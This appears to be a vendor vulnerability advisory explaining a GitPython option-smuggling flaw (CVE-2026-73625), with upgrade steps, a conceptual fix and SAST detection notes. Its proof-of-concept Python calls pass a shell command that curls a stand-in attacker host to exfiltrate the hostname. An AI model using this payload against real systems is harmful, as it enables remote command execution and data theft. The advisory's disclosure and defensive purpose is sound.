GitPython kwarg Option Smuggling RCE
CVE-2026-73625: GitPython before 3.1.54 allows RCE via kwarg value smuggling that bypasses check_unsafe_options, enabling arbitrary OS command execution.
Overview
CVE-2026-73625 is a remote code execution vulnerability in GitPython, the widely-used Python library for interacting with Git repositories programmatically. The flaw resides in the check_unsafe_options guard, a validation routine introduced to prevent callers from injecting dangerous Git options — such as --upload-pack — into high-level API calls like clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. An attacker who controls any portion of the keyword argument dictionary passed to these methods can bypass the guard entirely by embedding a dangerous option string inside a single-character kwarg value, causing GitPython to pass the unsanitized option directly to the underlying Git subprocess.
The vulnerability affects all GitPython releases prior to 3.1.54 and was identified during research into argument-injection patterns in Python libraries that shell out to external binaries. Because GitPython is a transitive dependency in a significant portion of the Python ecosystem — appearing in CI/CD tooling, repository management platforms, code analysis frameworks, and package build pipelines — the blast radius is substantial. Any application that accepts externally influenced parameters and forwards them, even indirectly, to one of the affected GitPython methods is exploitable.
The CVSS 8.8 HIGH score reflects the low complexity of exploitation and the complete compromise of integrity, availability, and confidentiality achievable on the host running the vulnerable process. Network-adjacent or remote exploitation is realistic in any multi-tenant or SaaS context where users can influence repository URLs or fetch/clone options.
Technical Analysis
GitPython converts Python keyword arguments into Git command-line flags by transforming kwarg names: an underscore-separated name like upload_pack becomes --upload-pack, and a single-character name like u becomes -u. The check_unsafe_options guard was designed to intercept this expansion before arguments reach the subprocess layer, rejecting known dangerous long-form flags.
The bypass exploits a subtle asymmetry: the guard inspects the kwarg key (the Python identifier), but a single-character key u expands to -u — a short flag that is not present in the blocklist of unsafe long options. More critically, the guard does not inspect the value associated with a kwarg. Git’s option parsing accepts values that themselves contain embedded option strings in certain contexts, and the --upload-pack parameter in particular specifies an arbitrary executable to invoke on the remote side during a smart-HTTP or SSH transport handshake.
The vulnerable pattern, simplified, looks like this:
# GitPython internal kwarg-to-flag transformation (pre-3.1.54, simplified)
def transform_kwargs(self, split_single_char_options=False, **kwargs):
args = []
for k, v in kwargs.items():
if len(k) == 1:
# Single-char key → short flag, NOT checked against unsafe list
if v is True:
args.append(f"-{k}")
elif v is not False:
# Value is appended directly — no sanitization
args.append(f"-{k}{v}")
else:
# Multi-char key → long flag
if v is True:
args.append(f"--{k.replace('_', '-')}")
elif v is not False:
args.append(f"--{k.replace('_', '-')}={v}")
return args
The check_unsafe_options guard rejects keys like upload_pack in their long-form mapping, but a caller can smuggle the equivalent option by using the single-character alias u with a crafted value:
from git import Repo
# Blocked — check_unsafe_options catches 'upload_pack'
Repo.clone_from(
"https://attacker.example/repo.git",
"/tmp/target",
upload_pack="/bin/sh -c 'curl http://attacker.example/exfil?h=$(hostname)'"
)
# NOT blocked — single-char key 'u' bypasses the guard entirely
Repo.clone_from(
"https://attacker.example/repo.git",
"/tmp/target",
u="pload-pack=/bin/sh -c 'curl http://attacker.example/exfil?h=$(hostname)'"
)
# Resulting flag passed to git: -upload-pack=/bin/sh -c '...'
# Git interprets this as --upload-pack=<executable>
When the -u short flag is constructed as -u followed immediately by the value string pload-pack=<command>, the concatenated result -upload-pack=<command> is a syntactically valid form that Git’s argument parser accepts as specifying an alternative upload-pack binary. Git then executes the attacker-controlled string as a subprocess on the machine running the clone operation — achieving arbitrary OS command execution with the privileges of the GitPython process.
The root cause is a classic incomplete mediation defect (CWE-184: Incomplete List of Disallowed Inputs). The guard operates on a transformed representation of inputs without considering all possible input forms that produce equivalent outputs.
Impact
An attacker who can supply or influence kwargs to any of the affected methods — clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive — achieves arbitrary OS command execution on the host. In practice this means:
- Full system compromise if the GitPython process runs with elevated privileges or in a container with broad capabilities.
- Credential and secret theft: CI/CD runners commonly have access to deployment keys, cloud provider credentials, and signing certificates. A successful exploit immediately exposes these to the attacker.
- Supply-chain pivot: In build pipelines, RCE at the git-fetch stage allows an attacker to tamper with source code, inject malicious artifacts into build outputs, or pivot laterally to downstream systems.
- Data exfiltration: Any data accessible to the process — source code, internal API endpoints, environment variables — can be exfiltrated.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H for unauthenticated network paths where user input reaches the API) makes this a critical-tier risk in SaaS and multi-tenant environments, even though the base score is listed at 8.8.
How to Fix It
Upgrade immediately. The fix is available in GitPython 3.1.54.
# pip
pip install "gitpython>=3.1.54"
# Poetry
poetry add "gitpython>=3.1.54"
# pipenv
pipenv install "gitpython>=3.1.54"
# uv
uv add "gitpython>=3.1.54"
The corrected guard in 3.1.54 validates both the expanded flag form and the raw value string, and it normalizes all single-character keys before comparison rather than only inspecting multi-character keys. Conceptually, the fix adds value-side inspection:
# Post-3.1.54 approach (illustrative)
UNSAFE_OPTIONS = {"--upload-pack", "--receive-pack", "--exec", ...}
def check_unsafe_options(kwargs):
for k, v in kwargs.items():
# Normalize both short and long forms
expanded_key = f"--{k.replace('_', '-')}" if len(k) > 1 else None
if expanded_key in UNSAFE_OPTIONS:
raise GitCommandError(f"Unsafe option: {k}")
# Also block values that contain unsafe option strings
if isinstance(v, str):
for unsafe in UNSAFE_OPTIONS:
if unsafe.lstrip("-") in v:
raise GitCommandError(f"Unsafe value for option {k}: {v}")
If an immediate upgrade is not feasible, audit all call sites of the affected methods and enforce an allowlist of permissible kwarg keys at the application layer before passing arguments to GitPython.
Our Take
This vulnerability is a textbook example of why input validation guards must be designed against all semantically equivalent input representations, not just the most obvious form. GitPython’s guard was a genuine security improvement, but it validated a single syntactic path while leaving short-flag aliases unexamined. Attackers always find the path not taken.
From an enterprise security standpoint, this class of argument-injection vulnerability in Python libraries that wrap subprocess calls is chronically underappreciated. Developers trust that library abstractions handle sanitization; library authors implement guards against the known-bad patterns at the time of writing; and the bypass comes from an input form that was never in scope for the original threat model. The lesson is that any code path that ultimately constructs a shell or subprocess invocation must treat all caller-supplied data as untrusted, with validation happening as close to the subprocess boundary as possible and covering every transformation the data undergoes.
For enterprises, this is a reminder that transitive dependencies in CI/CD infrastructure carry the same risk weight as direct dependencies in production services. A GitPython instance running inside a build container with write access to an artifact registry is a high-value target.
Detection with SAST
This vulnerability class maps to CWE-184 (Incomplete List of Disallowed Inputs) and CWE-78 (OS Command Injection). Offensive360’s SAST engine detects it through the following analysis patterns:
- Taint propagation to subprocess sinks: Any data flow from an external source (HTTP request parameters, environment variables, database fields) that reaches a
git.Repomethod call is flagged as a potential injection sink. - Kwarg forwarding patterns: Detection of
**kwargsor dictionary unpacking (**options) passed directly or with shallow transformation to GitPython API calls, where the dictionary contents are not validated against a strict allowlist. - Short-flag normalization checks: Rules that identify
transform_kwargs-style functions and verify that single-character key paths receive equivalent sanitization to multi-character key paths. - Version-gated vulnerability markers: The engine correlates the installed version of
gitpythoninrequirements.txt,pyproject.toml, orsetup.cfgagainst the affected range and raises a finding even without a reachable taint path, given the severity of the flaw.
Organizations should treat any finding in the “subprocess argument injection” category in Python codebases as high priority, particularly in CI/CD, DevOps tooling, and repository management contexts.
References
Detect this vulnerability class in your codebase
Offensive360 SAST scans your source code for CVE-2026-73625-class vulnerabilities and thousands of other patterns — across 60+ languages.